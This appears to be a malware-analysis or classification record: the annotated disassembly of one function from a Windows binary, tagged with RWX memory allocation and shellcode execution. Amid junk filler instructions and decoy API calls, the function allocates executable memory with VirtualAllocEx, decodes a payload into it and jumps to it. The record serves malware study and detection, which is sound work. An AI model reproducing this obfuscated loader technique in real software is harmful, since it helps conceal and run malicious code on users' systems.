Function at 0x10002bb5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov esi, dword [0x10057ddc]
mov eax, dword [ebp - 0x18]
mov si, 4
mov esi, dword [0x10057e98]
add esi, eax
cmp eax, dword [ebp + 0x55]
jl 0x10002c0b
mov edi, dword [0x10057dbc]
mov edi, dword [0x10057b80]
mov esi, dword [ebp - 0x18]
add esi, eax
mov edx, dword [0x10057cc4]
mov ax, 0x20
mov dword [ebp - 0xc], ecx
mov dword [0x10057d98], eax
mov dword [ebp - 0xc], esi
or dword [0x10057ba4], 0xff00ff
mov dword [0x10057d30], ecx
call sub.USER32.dll_GetDesktopWindow
mov eax, dword [0x10057b2c]
mov esi, dword [ebp - 0x10]
mov di, 0x85
add eax, eax
cmp dword [0x10057e80], eax
ja 0x10002c58
mov eax, dword [0x10057f08]
mov eax, dword [0x10057d10]
mov eax, dword [0x10057b54]
mov edi, dword [ebp - 0xc]
sub edx, ecx
or ecx, dword [0x10057bfc]
mov ax, 8
mov dword [ebp - 8], edi
mov dword [0x10057cdc], eax
mov dword [ebp - 0xc], eax
mov dword [0x10057cb4], esi
mov edx, dword [ebp - 0xc]
mov edx, dword [0x10057b78]
call fcn.10002efc
mov edi, dword [sym.imp.USER32.dll_GetMenu]
inc edi
mov esi, dword [edi]
cmp esi, dword [0x10057af9]
jne 0x10002c69
dec edi
mov eax, dword [edi]
mov dword [0x10057d94], eax
mov edx, dword [0x10057b2c]
mov edx, dword [ebp - 0x18]
add esi, eax
cmp dword [0x10057c70], 0xc4
jl 0x10002cbe
mov dword [ebp - 8], eax
mov eax, dword [0x10057e58]
mov edi, dword [ebp - 0x14]
mov eax, 0x40
sbb eax, dword [0x10057e54]
mov di, 0x20
mov dword [ebp - 0x14], eax
add dword [0x10057ba4], eax
mov dword [ebp - 0xc], edi
mov dword [0x10057d40], eax
mov dword [0x10057c74], edx
mov esi, dword [0x10057f00]
push dword [0x10057e58]
call sub.gdi32.dll_GetBkColor
mov eax, dword [0x10057e0c]
mov eax, dword [ebp - 8]
mov ax, 4
or esi, edx
cmp dword [0x10057d58], eax
je 0x10002d0a
sbb eax, dword [0x10057c74]
mov esi, dword [ebp - 8]
add ecx, esi
mov dword [ebp - 0x14], edi
sub dword [0x10057d9c], edi
sbb dword [0x10057d34], eax
mov dword [0x10057f20], eax
push 0x40
push 0x1000
push 0x24000
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov dword [0x10057e84], eax
mov eax, dword [0x10057cc4]
mov eax, dword [ebp - 0x10]
sub esi, eax
mov eax, dword [ebp - 8]
add eax, eax
cmp eax, dword [0x10057b2c]
jb 0x10002d66
mov eax, dword [0x10057d5c]
mov edx, dword [ebp - 0x14]
mov cx, 0x97
mov ecx, dword [ebp - 8]
mov eax, dword [0x10057bc8]
mov dword [ebp - 0x18], eax
mov dword [0x10057c38], eax
and dword [ebp - 0x14], esi
mov dword [0x10057d1c], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov dword [0x10057cc8], edx
call sub.USER32.dll_GetDesktopWindow
mov edx, dword [0x10057b68]
mov eax, dword [ebp - 0x14]
mov ax, 0x34
sub eax, eax
cmp edi, dword [0x10057e10]
jbe 0x10002db3
mov eax, dword [0x10057ec4]
mov eax, dword [0x10057b64]
mov eax, dword [ebp - 0xc]
add esi, edx
mov edi, dword [ebp - 8]
mov eax, dword [0x10057b2c]
sub eax, eax
mov dword [ebp - 0x14], eax
mov dword [0x10057e20], eax
sub dword [ebp - 0x10], 0x20
mov dword [0x10057f1c], ecx
mov ecx, dword [ebp - 0xc]
call sub.USER32.dll_GetDesktopWindow
mov eax, dword [0x10057f28]
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov eax, dword [0x10057b2c]
mov si, 0x70
cmp dword [0x10057c90], 0x42
jb 0x10002e01
mov dword [ebp - 0x18], eax
mov esi, dword [0x10057c6c]
mov eax, dword [ebp - 0x14]
mov di, 0x20
mov eax, dword [ebp - 0x18]
mov ax, 0x10
mov dword [ebp - 0x10], eax
mov dword [0x10057f18], eax
mov dword [0x10057b64], eax
mov ecx, dword [0x10057d7c]
mov esi, dword [0x10057e84]
mov edx, 0x28c
mov edi, dword [0x10057d94]
add edi, 0x10f4fa7a
mov eax, dword [edi]
add eax, 0xf5e5c2e2
mov dword [esi], eax
add edi, 4
add esi, 4
add edx, 0xffffffff
jne 0x10002e18
mov eax, dword [0x10057df4]
mov edx, dword [ebp - 0xc]
add eax, eax
cmp eax, 1
jl 0x10002e5d
mov dword [ebp - 0x18], esi
mov edi, dword [0x10057ba4]
mov edi, dword [ebp - 0x10]
mov eax, 1
mov di, 0x4c
mov dword [ebp - 0x10], eax
mov dword [0x10057e74], ecx
mov dword [ebp - 0x14], eax
call sub.USER32.dll_GetDesktopWindow
mov eax, dword [0x10057cf0]
or eax, dword [ebp - 0x14]
sub eax, eax
cmp dword [0x10057ed8], eax
jbe 0x10002e9a
mov ecx, dword [0x10057d74]
mov eax, dword [ebp - 0x18]
and edx, edx
mov edi, dword [0x10057d98]
add eax, eax
mov dword [ebp - 0xc], eax
mov dword [0x10057b34], 0x58
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [0x10057ebc], eax
call sub.USER32.dll_GetDesktopWindow
mov eax, dword [0x10057e30]
mov eax, dword [ebp - 0x18]
mov eax, 8
mov esi, dword [ebp - 0x18]
cmp dword [0x10057dbc], eax
jle 0x10002ee7
mov dword [0x10057e14], edi
mov eax, dword [0x10057c24]
mov edi, dword [ebp - 0xc]
sub eax, eax
mov eax, dword [0x10057cc4]
mov dword [ebp - 0xc], eax
mov dword [0x10057ed0], esi
mov dword [0x10057b70], eax
mov dword [0x10057f1c], eax
mov dword [ebp - 0x10], edi
mov eax, dword [0x10057cd8]
mov dword [0x10057bcc], esi
mov edi, dword [0x10057e84]
call edi
leave
ret